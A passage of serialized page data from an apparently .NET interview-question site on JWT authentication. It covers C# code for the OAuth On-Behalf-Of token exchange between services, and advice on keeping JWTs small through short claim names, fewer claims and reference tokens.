Dictionary\u003Cstring, string>\n            {\n                [\"grant_type\"]            = \"urn:ietf:params:oauth:grant-type:jwt-bearer\",\n                [\"client_id\"]             = _config[\"AzureAd:ClientId\"]!,\n                [\"client_secret\"]         = _config[\"AzureAd:ClientSecret\"]!,\n                [\"assertion\"]             = incomingAccessToken, \u002F\u002F the token Service A received\n                [\"scope\"]                 = \"api:\u002F\u002Fservice-b\u002F.default\",\n                [\"requested_token_use\"]   = \"on_behalf_of\",\n            }));\n\n        var json = await response.Content.ReadFromJsonAsync\u003CJsonElement>();\n        return json.GetProperty(\"access_token\").GetString()!;\n    }\n}\n\n\u002F\u002F In Service A's controller — get the incoming token and exchange it:\n[HttpGet(\"aggregate\")]\n[Authorize]\npublic async Task\u003CIActionResult> Aggregate()\n{\n    \u002F\u002F Read the incoming Bearer token from the request header:\n    var incomingToken = Request.Headers.Authorization.ToString()[\"Bearer \".Length..];\n    var serviceBToken = await _downstreamTokenService.GetTokenForServiceBAsync(incomingToken);\n\n    \u002F\u002F Call Service B with the new token:\n    _httpClient.DefaultRequestHeaders.Authorization =\n        new AuthenticationHeaderValue(\"Bearer\", serviceBToken);\n    var result = await _httpClient.GetAsync(\"https:\u002F\u002Fservice-b\u002Fapi\u002Fdata\");\n    return Ok(await result.Content.ReadAsStringAsync());\n}\n```\n\n**Rule of thumb:** Use OBO when you need to propagate the end-user's identity through\nservice-to-service calls. If the downstream call does not need user context (it is a\nbackground\u002Fsystem call), use client credentials instead — OBO adds unnecessary token\nexchange overhead for system-to-system scenarios.\n",{"id":82,"difficulty":14,"q":83,"a":84},"jwt-size-performance","How does JWT size affect performance and what can you do to keep tokens small?","Every HTTP request carries the JWT in the `Authorization` header. Large tokens increase\nheader size, add Base64 decoding overhead, and can exceed web server header limits.\nCommon causes are too many claims and verbose claim names.\n\n```csharp\n\u002F\u002F Problem — bloated token with long claim names and many values:\nvar claims = new[]\n{\n    new Claim(\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Fnameidentifier\", userId),\n    new Claim(\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Femailaddress\", email),\n    new Claim(\"http:\u002F\u002Fschemas.microsoft.com\u002Fws\u002F2008\u002F06\u002Fidentity\u002Fclaims\u002Frole\", \"Admin\"),\n    new Claim(\"http:\u002F\u002Fschemas.microsoft.com\u002Fws\u002F2008\u002F06\u002Fidentity\u002Fclaims\u002Frole\", \"Editor\"),\n    \u002F\u002F ... 20 more role claims ...\n    \u002F\u002F Result: token ~2 KB, repeated on every request\n};\n\n\u002F\u002F Better — short registered claim names (sub, email) + compact custom names:\nvar claims = new[]\n{\n    new Claim(JwtRegisteredClaimNames.Sub,   userId),   \u002F\u002F \"sub\"\n    new Claim(JwtRegisteredClaimNames.Email, email),    \u002F\u002F \"email\"\n    new Claim(\"roles\", \"Admin,Editor\"),                 \u002F\u002F one claim, comma-joined\n    \u002F\u002F Or embed only a role ID; resolve permissions server-side via cache\n};\n\n\u002F\u002F Clear the default long-name mapping so short names survive round-tripping:\nJwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear();\n\u002F\u002F Note: after clearing, read with the short name: User.FindFirstValue(\"sub\")\n\n\u002F\u002F For high-traffic APIs — omit non-essential claims from the access token:\n\u002F\u002F Put display name, preferences, etc. in the ID token (OIDC) — not the access token.\n\u002F\u002F Access token should carry only what authorization decisions need:\n\u002F\u002F sub, roles\u002Fpermissions, aud, exp — nothing more.\n\n\u002F\u002F When claims are unavoidably large — use reference tokens (opaque IDs):\n\u002F\u002F Issue a random opaque token; store claims server-side in a fast cache (Redis).\n\u002F\u002F Validate by looking up the token ID — one cache hit per request instead of large header.\n\u002F\u002F Trade-off: stateful, but headers stay tiny regardless of claim count.\n```\n\n**Rule of thumb:** Access tokens should carry only what is needed for authorization —\nsubject, audience, expiry, and roles or permissions. Target under 512 bytes. Move\nprofile data to the ID token or a \u002Fuserinfo endpoint, and use short registered claim names.\n",15,null,{"description":11},"JWT interview questions — token structure, bearer authentication, TokenValidationParameters, token generation, refresh rotation, and security vulnerabilities.","dotnet\u002Fsecurity\u002Fjwt-tokens","JWT Tokens","Security","security","2026-06-23","R8EHsAmMo7bcAbTLdtw4ScVX8bauVPjW5wmaATB1yAE",[96,100,103],{"subtopic":97,"path":98,"order":99},"Authentication","\u002Fdotnet\u002Fsecurity\u002Fauthentication",1,{"subtopic":101,"path":102,"order":12},"Authorization","\u002Fdotnet\u002Fsecurity\u002Fauthorization",{"subtopic":90,"path":21,"order":20},{"path":105,"title":106},"\u002Fblog\u002Fdotnet-jwt-tokens","JWT Authentication in ASP.NET Core",1782244119906]